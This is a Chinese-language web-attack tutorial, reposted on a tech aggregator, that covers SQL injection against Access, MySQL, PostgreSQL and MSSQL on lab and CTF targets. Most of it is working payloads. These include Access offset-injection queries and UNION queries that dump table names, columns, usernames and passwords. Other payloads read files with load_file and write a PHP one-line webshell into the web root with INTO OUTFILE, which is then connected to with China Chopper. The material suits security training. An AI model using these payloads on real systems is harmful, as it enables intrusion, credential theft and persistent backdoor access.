IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> WEB攻防-通用漏洞&SQL读写注入&ACCESS偏移注入&MYSQL&MSSQL&PostgreSQL -> 正文阅读

[大数据]WEB攻防-通用漏洞&SQL读写注入&ACCESS偏移注入&MYSQL&MSSQL&PostgreSQL

目录

知识点

详细

ACCESS偏移注入

读取路径

案例演示

MYSQL-root高权限读写注入

PostgreSQL-高权限读写注入

MSSQL-sa高权限读写执行注入


知识点

1、Access偏移注入

2、SQL注入-MSSQL数据库

3、SQL注入-PostgreSQL数据库

4、SQL注入-MYSQL数据库

详细

ACCESS偏移注入

ACCESS属性:数据库名,表名,列名,值

偏移注入:ACCESS数据库中如果知道表名的情况下不知道列名适合使用偏移注入。

条件:假设现在知道表名为admin,列数为6,可以利用select?exists(selct *?from?admin)表名是否存在,存在则返回正常页面。

1.order by 数字:猜测网站指定数据库的表的字段数,如果order by 22?不报错,那么字段数为22

2.判断admin表内存在的字段数,基于order by,爆出显示位:union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22? 查看显示位的数字,哪个数字被显示出来,哪个数字就可以执行命令。假设显示位是5,6,7。

union两边必须两个数据都为真才能正常显示,接下来我们利用“*”代替admin表内存在的字段,然后利用网站(网站是随便编的,不要当真,认真你就输了)指定数据库的表的字段数猜测admin表的列数。

简单解释一下下面的代码,目前知道网站指定数据库的表的字段数为22,那么admin表的目前不知道,但是union只有当两边为真时才能正常显示,就证明*加上我们自己设置的数字等于22列时才能正常显示页面。

http://www.mozhu.com?id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,,16,17,18* from admin #错误

不断尝试中.........

最后在数字为16位时正确显示。那么网站的列数为22,数字为16位,*就是22-16=6,就代表admin表是6列

http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin #正确

偏移注入的基本公式为:

? ?order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;?

     22-6*2=10 一级偏移

? ? ? ? ? ? ? ?10-6=4? ? ? ?二级偏移

一级偏移:http:/www.mozhu.com?id=1 union select 1,2,3,4,5,6,7,8,9,10,* from admin

二级偏移:http://www.mozhu.com?id=1 union select 1,2,3,4,* from (admin as a inner join sys_admin as b on a.id = b.id)

一级偏移语句 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id* from (admin as a inner join admin as b on a.id = b.id)

admin as a inner join admin as b on a.id=b.id:可以简单理解为把admin这个表重新命名成a和b两个表,因为是一个admin表的列数为6,那么两个表就为12,所以select后面的值为22-6*2=10。如果a.id=b.id就在select语句中的输出a.id和b.id,因为a和b来自与同一个表,所以肯定相同。(这里要提醒一下,id这个字段可以换成其它字段,但是一定得存在,一般admin表中都存在id字段的)

二级偏移语句 union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as bon a.id=b.id) inner join admin as c on a.id=c.id)

二级偏移与一级相同,只不过二级多了一个c表,所以又去掉了六个字段,用一个c.id 用来代替字段并且重新打乱组合。

为什么使用二级偏移或者是更高级的偏移:因为显示为是5,6,7,但是一级注入并没有包含掉5,6,7的位置。所以利用二级偏移向前在偏移6位,这样a.id,b.id,c.id就正好在输出位显示。

读取路径

Access无高权限注入点-只能猜解,还是暴力猜解

MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等

为什么获取路径:当注入后门代码时,需要知道文件的路径才能利用菜刀等工具连接数据库实现目标。

知道数据库类型:可以通过百度搜索该数据库的一些关键文件或路径,然后进行读取或写入。

不知道数据库类型:可以通过phpinfo进行路径的查询。或者随便访问一个路径,通过报错信息获取路径。

案例演示

MYSQL-root高权限读写注入

首先利用and或者or查询注入点,没有返回数据证明是注入点。

?order by查询列数,列数为3

?select查询显示位,显示位为1和2

?利用user()查询是否为root用户,查询结果是root

上述内容并非本次重点,有不理解的小伙伴可以访问下面连接,有详细说明https://blog.csdn.net/m0_65336233/article/details/127195840

接下来进行文件读取的操作,在我的D盘目录存放在一个w.txt文件,既然在显示位执行user()或者database()函数,那么自然可以执行文件读取函数load_file()

?

环境配合:在mysql安装目录中的my.ini文件中的[mysqld]项下添加?secure_file_priv = '',重新启动数据库(一定要重启,否则无法生效)

?

?http://127.0.0.1/sql1/news.php?id=2 union select 1,load_file("D:/w.txt"),3

load_file():文件读取函数,()里跟完整的文件路径

显示位2处进行文件读取,内容与w.txt一样。文件读取成功。

?

??

文件的写入操作,利用into outfile进行文件的写入

http://127.0.0.1/sql1/news.php?id=2 union select 1,'123',3 into outfile 'd:/www.txt'

outfile:后面跟要写入文件的绝对路径,没有文件则创建文件

?

?

http://127.0.0.1/sql1/news.php?id=2 union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'D:/student/shentou/php/PHPTutorial/WWW/3.php'

?现在在数据库的木库下植入一句话后门。

?

?打开菜刀,输入路径,直接连接。

?

?

PostgreSQL-高权限读写注入

?

点击停机维护进入页面

?

?测注入点可以注入,测列数为4列

?

??

查询显示位,postgreSQL的显示位与mysql有一定区别,下面可以看到postgreSQL并没有直接将显示位显示出来,所以需要利用单引号一个个去测试。

最后测试出来2,3位为显示位

???

直接可以利用函数version(),current_user,current_database(),获取版本,当前用户和当前数据库,由此知道了用户名为postgres,数据库名为mozhedvcms

?

and 1=2 union select null,string_agg(dataname,','),null,null from pg_database

利用该代码显示出所有的数据库名,dataname代表数据库名,string_agg(dataname,',')是让数据库名以逗号间隔

?

?获取表名:and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'

?

?获取列名:and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

?

获取数据:and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users?

?

?判断是否为超级用户:and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE

pg_user:是存储超级用户的表

WHERE usesuper IS TRUE:判断是否为超级用户

返回的值与当前用户值一样,证明当前用户为超级用户。后面直接登录提交flag即可。

在该案例中一部分表和函数与mysql的一样是数据库PostgreSQL自带的,大同小异。不太明白的可以查看一下连接。https://blog.csdn.net/m0_65336233/article/details/127195840

?

MSSQL-sa高权限读写执行注入

开始依旧是测注入点,侧列数,侧显示位

报错存在注入点,列数为4,显示位为2和3

?

??

??

?@@version 获取版本信息,db_name() 当前数据库名字,@@SERVERNAME 获取服务器主机信息

user、system_user,current_user,user_name 获取当前用户名

目前知道了用户名为dbo,数据库名为mozhe_db_v2

?

获取表名:and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null

?

?查询其他表:union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,nul

name not in ('manage')):查询不是表名manage的表

?

?获取列名:and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

通过修改manage后面的值可以不断向后发现列名,到第四个为空,证明只有三个列名为id,username,password

?

??

??

??

根据翻译直接查询username和password即可,获取账号密码登录,获取flag?。

?

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-10-17 12:41:07  更:2022-10-17 12:45:09 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 7:09:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码